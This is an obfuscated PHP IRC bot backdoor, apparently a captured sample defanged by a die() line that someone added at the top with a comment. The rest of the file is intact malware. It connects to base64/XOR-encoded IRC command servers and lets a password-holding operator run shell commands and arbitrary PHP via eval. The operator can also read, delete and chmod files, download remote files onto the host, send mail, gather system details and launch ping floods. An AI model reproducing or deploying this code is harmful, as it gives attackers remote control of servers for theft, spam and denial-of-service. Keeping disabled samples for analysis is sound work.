<?
# this line, and the next line, added to render this script ineffective.  - Dan Langille
die('someone tried to break into your server');
set_time_limit(0);
ini_set("max_execution_time",0);
set_magic_quotes_runtime(0);
ini_set('output_buffering',0);
error_reporting(0);
ignore_user_abort();
$y26e1b599 = array
(
 "po" => 8080,
 "sp" => "qdDN3pjgpsvfpw==",
 "ch" => "WY7a",
 "ke" => "o8+f1JTfng==",
 "ha" => "OiohKkAqLmF2",
 "pa" => "9dd4e461268c8034f5c8564e155c67a6",
 "tr" => "*",
 "mrnd" => 9,
 "mo" => "LXggaQ==",
 "ve" => "bUlSQyA2LjIxIEJZIEtoYWxlZCBNYXJkYW0tQmF5"
);
function Fc8a89c2c($t341be97d) {
$t341be97d = str_replace(" ", "", $t341be97d);
return $t341be97d;
}
function F1feea25e($t341be97d) {
$t341be97d = base64_decode(Fc8a89c2c($t341be97d));
return $t341be97d;
}
function F658cce19() {
global $y26e1b599;
$nee11cbb1 = array();
$vd707b814 = "";
$l59b51417 = array("rdCd2p/RqtLYldmZZOGY0c6jqZqWo9k=", "ptjf2qjarMzRptmqo5iq0c+ZpN9hl9vY", "rdDM2p/Uqt7cZONlZOGY0c6jqZqWo9k=", "pN6bnGHbpt7hp5mjqw==", "pN6bnWHbpt7hp5mjqw==", "pN6bnmHbpt7hp5mjqw==", "pN6bn2Hbpt7hp5mjqw==", "npvdnKacZuHRZN1lrZqqms2fmJqhmeA=", "mpvOnKbWqc7Wn9Wgopyd39SgmtKmmNKZzdDOldnP2A==", "pp7a45jen9nhq9CnaJ1nnp1poNebn9bT1NHfz8/Lks/dzJnamt4=", "Zp2Y3KXVrN3RpuGaqJiW29c=", "ppnX5ZnbpczNppmepNCi");
shuffle($l59b51417);
if(($h351a1d2a = fsockopen(F0ab34ca9($l59b51417[0]),$y26e1b599['po'],$h70106d0d,$x809b1abe,15))) {
$j80521467 = Fd9889714($y26e1b599['mrnd']);
if (strlen($y26e1b599['sp'])>0) {
F56eacb30($h351a1d2a, F1feea25e("UEFTUw==")." ".F0ab34ca9($y26e1b599['sp']));
}
F56eacb30($h351a1d2a, F1feea25e("VVNFUg==")." ".Ffb0daa8f($y26e1b599['mrnd'])." 127.0.0.1 localhost :$j80521467");
F56eacb30($h351a1d2a, F1feea25e("TklDSw==")." $j80521467");
while (!feof($h351a1d2a)) {
$r7fabc140 = trim(fgets($h351a1d2a,512));
$k6e2baaf3 = explode(" ",$r7fabc140);
if(($r7fabc140 == $vd707b814)) continue;
if (isset($k6e2baaf3[0]) && $k6e2baaf3[0] == F1feea25e("UElORw==")) {
F56eacb30($h351a1d2a, F1feea25e("UE9ORw==")." ".$k6e2baaf3[1]);
}
else if (isset($k6e2baaf3[1]) && $k6e2baaf3[1] == F1feea25e("MDAx")) {
F56eacb30($h351a1d2a, F1feea25e("TU9ERQ==")." $j80521467 ".F1feea25e($y26e1b599['mo']));
F56eacb30($h351a1d2a, F1feea25e("Sk9JTg==")." ".F0ab34ca9($y26e1b599['ch'])." ".F0ab34ca9($y26e1b599['ke']));
}
else if(isset($rdfff0a7f[1]) && $rdfff0a7f[1] == F1feea25e("NDMz"))
{
F56eacb30($h351a1d2a, F1feea25e("TklDSw==")." $j80521467");
}
else if (isset($k6e2baaf3[1]) && isset($nee11cbb1[$k6e2baaf3[1]])) {
unset($nee11cbb1[$k6e2baaf3[1]]);
}
else if (isset($k6e2baaf3[1]) && ($k6e2baaf3[1] == F1feea25e("UFJJVk1TRw==") || $k6e2baaf3[1] == F1feea25e("MzMy"))) {
$t78e73102 = strstr($r7fabc140," :");
$t78e73102 = substr($t78e73102,2);
$rdfff0a7f = explode(" ",$t78e73102);
$r67b3dba8 = $k6e2baaf3[0];
$e7c6483dd = explode("!",$r67b3dba8);
$e7c6483dd = substr($e7c6483dd[0],1);
$v73be252c = FALSE;
if ($rdfff0a7f[0] == "\1".F1feea25e("VkVSU0lPTg==")."\1") {
F56eacb30($h351a1d2a,"NOTICE ".$e7c6483dd." :\1".F1feea25e("VkVSU0lPTg==")." ".F1feea25e($y26e1b599['ve'])."\1");
}
for ($x865c0c0b=0;$x865c0c0b<count($rdfff0a7f);$x865c0c0b++) {
if($rdfff0a7f[$x865c0c0b] == "-s") {
$v73be252c = TRUE;
}
}
if ($k6e2baaf3[1] == F1feea25e("MzMy")) {
$p01b6e203 = $k6e2baaf3[3];
}
elseif ($k6e2baaf3[2] == $j80521467) {
$p01b6e203 = $e7c6483dd;
} else {
$p01b6e203 = $k6e2baaf3[2];
}
if ($rdfff0a7f[0] == PHP_OS) {
array_shift($rdfff0a7f);
}
if (substr($rdfff0a7f[0],0,1) == $y26e1b599['tr']) {
if (isset($nee11cbb1[$r67b3dba8]) || $k6e2baaf3[1] == "332") {
switch (substr($rdfff0a7f[0],1)) {
case F1feea25e("bG8="):
if ($k6e2baaf3[1] != F1feea25e("MzMy")) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "out");
}
break;
case F1feea25e("ZDFlbm93"):
F56eacb30($h351a1d2a, F1feea25e("UVVJVCA6SSBRVUlU"));
fclose($h351a1d2a);
exit(0);
break;
case F1feea25e("cmF3"):
if (count($rdfff0a7f)>1) {
F56eacb30($h351a1d2a, substr($t78e73102,strlen($rdfff0a7f[0])));
}
break;
case F1feea25e("bHM="):
if (isset($rdfff0a7f[1])) {
$h954eef6d = $rdfff0a7f[1];
} else {
$h954eef6d = getcwd();
}
if (is_dir($h954eef6d)) {
if (($b73600783 = opendir($h954eef6d))) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Dir// Now listing: \2".$h954eef6d."\2");
while (($v435ed7e9 = readdir($b73600783)) !== FALSE) {
if ($v435ed7e9 != "." && $v435ed7e9 != "..") {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "> (".filetype($h954eef6d."/".$v435ed7e9).") $v435ed7e9");
sleep(1);
}
}
closedir();
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Dir// Unable to list contents of \2".$h954eef6d."\2");
}
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Dir// \2".$h954eef6d."\2 is not a dir!");
}
break;
case F1feea25e("Y2F0"):
if (count($rdfff0a7f) > 1) {
if (is_file($rdfff0a7f[1])) {
if (($f0666f0ac = fopen($rdfff0a7f[1],"r"))) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CAT// Now reading file: \2".$rdfff0a7f[1]."\2");
while(!feof($f0666f0ac)) {
$b6438c669 = trim(fgets($f0666f0ac,256));
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "> $b6438c669");
sleep(1);
}
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "> [EOF]");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CAT// Couldn't open \2".$rdfff0a7f[1]."\2 for reading.");
}
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CAT// \2".$rdfff0a7f[1]."\2 is not a file");
}
}
break;
case F1feea25e("cHdk"):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "PWD// Current dir: ".getcwd());
break;
case F1feea25e("Y2Q="):
if (count($rdfff0a7f) > 1) {
if (chdir($rdfff0a7f[1])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CD// Changed dir to ".$rdfff0a7f[1]);
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CD// Failed to change dir");
}
}
break;
case F1feea25e("cm0="):
if (count($rdfff0a7f) > 1) {
if (unlink($rdfff0a7f[1])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "RM// Deleted \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "RM// Failed to delete \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("dG91Y2g="):
if (count($rdfff0a7f) > 1) {
if (touch($rdfff0a7f[1])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Touch// Touched \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Touch// Failed to touch \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("c3ltbGluaw=="):
if (count($rdfff0a7f) > 2) {
if (symlink($rdfff0a7f[1],$rdfff0a7f[2])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "SymLink// Symlinked \2".$rdfff0a7f[2]."\2 To \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "SymLink// Failed to link \2".$rdfff0a7f[2]."\2 To \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("Y2hvd24="):
if (count($rdfff0a7f) > 2) {
if (chown($rdfff0a7f[1],$rdfff0a7f[2])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Chown// Chowned \2".$rdfff0a7f[1]."\2 To \2".$rdfff0a7f[2]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Chown// Failed to chown \2".$rdfff0a7f[1]."\2 To \2".$rdfff0a7f[2]."\2");
}
}
break;
case F1feea25e("Y2htb2Q="):
if (count($rdfff0a7f) > 2) {
if(chmod($rdfff0a7f[1],$rdfff0a7f[2])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Chmod// Chmodded \2".$rdfff0a7f[1]."\2 with permissions \2".$rdfff0a7f[2]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Chmod// Failed to chmod \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("bWtkaXI="):
if (count($rdfff0a7f) > 1) {
if (mkdir($rdfff0a7f[1])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "MKDir// Created directory \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "MKDir// Failed to create directory \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("cm1k"):
if (count($rdfff0a7f)>1) {
if (rmdir($rdfff0a7f[1])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "RMDir// Removed directory \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "RMDir// Failed to remove directory \2".$rdfff0a7f[1]."\2");
}
}
break;
case F1feea25e("Y3A="):
if (count($rdfff0a7f) > 2) {
if (copy($rdfff0a7f[1], $rdfff0a7f[2])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CP// Copied \2".$rdfff0a7f[1]."\2 to \2".$rdfff0a7f[2]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "CP// Failed to copy \2".$rdfff0a7f[1]."\2 to \2".$rdfff0a7f[2]."\2");
}
}
break;
case F1feea25e("bWFpbA=="):
if (count($rdfff0a7f)>4) {
$y099fb995 = "From: <".$rdfff0a7f[2].">\r\n";
if (mail($rdfff0a7f[1], $rdfff0a7f[3], substr($t78e73102,$rdfff0a7f[4]), $y099fb995)) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Mailer// Message sent to \2".$rdfff0a7f[1]."\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Mailer// Send failure");
}
}
break;
case F1feea25e("bWttZDU="):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "MD5// ".md5($rdfff0a7f[1]));
break;
case F1feea25e("ZG5z"):
if (isset($rdfff0a7f[1])) {
$p957b527b = explode(".",$rdfff0a7f[1]);
if (count($p957b527b)==4 && is_numeric($p957b527b[0]) && is_numeric($p957b527b[1]) && is_numeric($p957b527b[2]) && is_numeric($p957b527b[3])) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "DNS// ".$rdfff0a7f[1]." -> ".gethostbyaddr($rdfff0a7f[1]));
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "DNS// ".$rdfff0a7f[1]." -> ".gethostbyname($rdfff0a7f[1]));
}
}
break;
case F1feea25e("b3BtZQ=="):
F56eacb30($h351a1d2a, "mode ".$k6e2baaf3[2]." +o $e7c6483dd");
break;
case F1feea25e("cmVzdGFydA=="):
F56eacb30($h351a1d2a, F1feea25e("UVVJVCA6UVVJVC4uLg=="));
fclose($h351a1d2a);
F658cce19();
break;
case F1feea25e("cm4="):
if(isset($rdfff0a7f[1])) {
$j80521467 = Fd9889714((int)$rdfff0a7f[1]);
F56eacb30($h351a1d2a, F1feea25e("TklDSw==")." $j80521467");
} else {
$j80521467 = Fd9889714($y26e1b599['mrnd']);
F56eacb30($h351a1d2a, F1feea25e("TklDSw==")." $j80521467");
}
break;
case F1feea25e("cGhw"):
if (count($rdfff0a7f) > 1) {
eval(substr($t78e73102,strlen($rdfff0a7f[0])));
}
break;
case F1feea25e("Z2V0"):
if (count($rdfff0a7f) > 2) {
if (!($f0666f0ac = fopen($rdfff0a7f[2],"w"))) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Get// Permission denied");
} else {
if (!($qb5eda0a7 = file($rdfff0a7f[1]))) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Get// Bad URL/DNS error");
} else {
for ($x865c0c0b = 0; $x865c0c0b < count($qb5eda0a7); $x865c0c0b++) {
fwrite($f0666f0ac,$qb5eda0a7[$x865c0c0b]);
}
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Get// \2".$rdfff0a7f[1]."\2 downloaded to \2".$rdfff0a7f[2]."\2");
}
fclose($f0666f0ac);
}
}
break;
case F1feea25e("bmk="):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "NetInfo// IP: ".$_SERVER['SERVER_ADDR']." Hostname: ".$_SERVER['SERVER_NAME']);
break;
case F1feea25e("c2k="):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Sysinfo// [User: ".get_current_user()."] [PID: ".getmypid()."] [Version: PHP ".phpversion()."] [OS: ".PHP_OS."] [Server_software: ".$_SERVER['SERVER_SOFTWARE']."] [Server_name: ".$_SERVER['SERVER_NAME']."] [Admin: ".$_SERVER['SERVER_ADMIN']."] [Docroot: ".$_SERVER['DOCUMENT_ROOT']."] [HTTP Host: ".$_SERVER['HTTP_HOST']."] [URL: ".$_SERVER['REQUEST_URI']."]");
break;
case F1feea25e("cG9ydG9wZW4="):
if (isset($rdfff0a7f[1],$rdfff0a7f[2])) {
if (fsockopen($rdfff0a7f[1],(int)$rdfff0a7f[2],$q56bd7107,$t341be97d,5)) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "PortChk// ".$rdfff0a7f[1].":".$rdfff0a7f[2]." is \2Open\2");
} else {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "PortChk// ".$rdfff0a7f[1].":".$rdfff0a7f[2]." is \2Closed\2");
}
}
break;
case F1feea25e("dW5hbWU="):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Uname// ".php_uname());
break;
case F1feea25e("aWQ="):
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "ID// ".getmypid());
break;
case F1feea25e("Y21k"):
if (count($rdfff0a7f)>1) {
$s1dccadfe = popen(substr($t78e73102,strlen($rdfff0a7f[0])),"r");
while (!feof($s1dccadfe)) {
$l734515cb = trim(fgets($s1dccadfe,512));
if (strlen($l734515cb)>0) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "> ".$l734515cb);
sleep(1);
}
}
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "> [EOF]");
}
break;
case F1feea25e("ZXhlYw=="):
F54d54a12(substr($t78e73102,strlen($rdfff0a7f[0])));
break;
case F1feea25e("aGl0"):
if (!$rdfff0a7f[1] || !$rdfff0a7f[2]) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Hit// Need some cmds.");
break;
}
if ($rdfff0a7f[2] > 100) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Hit// too much sockets. setting to 100.");
$rdfff0a7f[2] = 100;
}
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Hit// $rdfff0a7f[1] with $rdfff0a7f[2] pkts.");
Fbeee853c($rdfff0a7f[1],$rdfff0a7f[2]);
break;
}
} else {
switch(substr($rdfff0a7f[0],1)) {
case F1feea25e("Kg=="):
if (isset($rdfff0a7f[1]) && md5($rdfff0a7f[1]) == $y26e1b599['pa'] && ereg(F1feea25e($y26e1b599['ha']),$r67b3dba8)) {
Ff2f4e964($h351a1d2a, $v73be252c, $p01b6e203, "Ready// Login Ok: \2$e7c6483dd\2");
$nee11cbb1[$r67b3dba8] = TRUE;
} else {
Ff2f4e964($h351a1d2a, FALSE, $y26e1b599['ch'], "Ready// Login rejected: \2$e7c6483dd\2");
}
break;
}
}
}
}
$vd707b814 = $r7fabc140;
}
fclose($h351a1d2a);
sleep(3);
F658cce19();
} else {
shuffle($l59b51417);
F658cce19();
}
}
function F56eacb30($h317d37b0, $t78e73102) {
fwrite($h317d37b0,"$t78e73102\r\n");
}
function Ff2f4e964($h317d37b0, $v73be252c, $p01b6e203, $t78e73102) {
if($v73be252c != TRUE) {
F56eacb30($h317d37b0, F1feea25e("UFJJVk1TRw==")." $p01b6e203 :$t78e73102");
} 
}
function Fd9889714($jfac65290) {
for ($x865c0c0b = 0; $x865c0c0b < $jfac65290; $x865c0c0b++)
$k2cb9df98 .= chr(mt_rand(0,25)+97);
if (posix_getegid() == 0)
$k2cb9df98 = "r-".$k2cb9df98;
return $k2cb9df98;
}
function F54d54a12($w111ca5df)
{
 $r9b207167 = '';
if (!empty($w111ca5df))
 {
 if(function_exists('exec'))
 {
 @exec($w111ca5df,$r9b207167);
$r9b207167 = join("\n",$r9b207167);
}
elseif(function_exists('shell_exec'))
 {
 $r9b207167 = @shell_exec($w111ca5df);
}
elseif(function_exists('system'))
 {
 @ob_start();
@system($w111ca5df);
$r9b207167 = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
 {
 @ob_start();
@passthru($w111ca5df);
$r9b207167 = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($d8fa14cdd = @popen($w111ca5df,"r")))
 {
 $r9b207167 = "";
while(!@feof($d8fa14cdd)) { $r9b207167 .= @fread($d8fa14cdd,1024); }
@pclose($d8fa14cdd);
}
}
return $r9b207167;
}
function Fbeee853c($r67b3dba8,$ac9c17db3)
{
F54d54a12("ping -p 2222f2b22 -s 512 -t 255 -c $ac9c17db3 $r67b3dba8");
}
function F0ab34ca9($gc1f3e956) {
$jb4a88417 = '';
$gc1f3e956 = base64_decode($gc1f3e956);
for($x865c0c0b=0; $x865c0c0b<strlen($gc1f3e956); $x865c0c0b++) {
$ra87deb01 = substr($gc1f3e956, $x865c0c0b, 1);
$s62deddc8 = substr(F1feea25e("a2psM2w2amw0azU2ajNsajU2bDM0bGtqZmxna2pkbHNqa2w1ajYzNGw2amxqNTZsazNqNTZrbDVqNGxrNmozNGw2amwzNDY="), ($x865c0c0b % strlen(F1feea25e("a2psM2w2amw0azU2ajNsajU2bDM0bGtqZmxna2pkbHNqa2w1ajYzNGw2amxqNTZsazNqNTZrbDVqNGxrNmozNGw2amwzNDY=")))-1, 1);
$ra87deb01 = chr(ord($ra87deb01)-ord($s62deddc8));
$jb4a88417.=$ra87deb01;
}
return $jb4a88417;
}
function Ffb0daa8f($jfac65290) {
$k2cb9df98 = "";
for ($x865c0c0b=0;$x865c0c0b<$jfac65290; $x865c0c0b++)
$k2cb9df98 .= chr(mt_rand(0,25)+97);
return $k2cb9df98;
}
F658cce19();
?>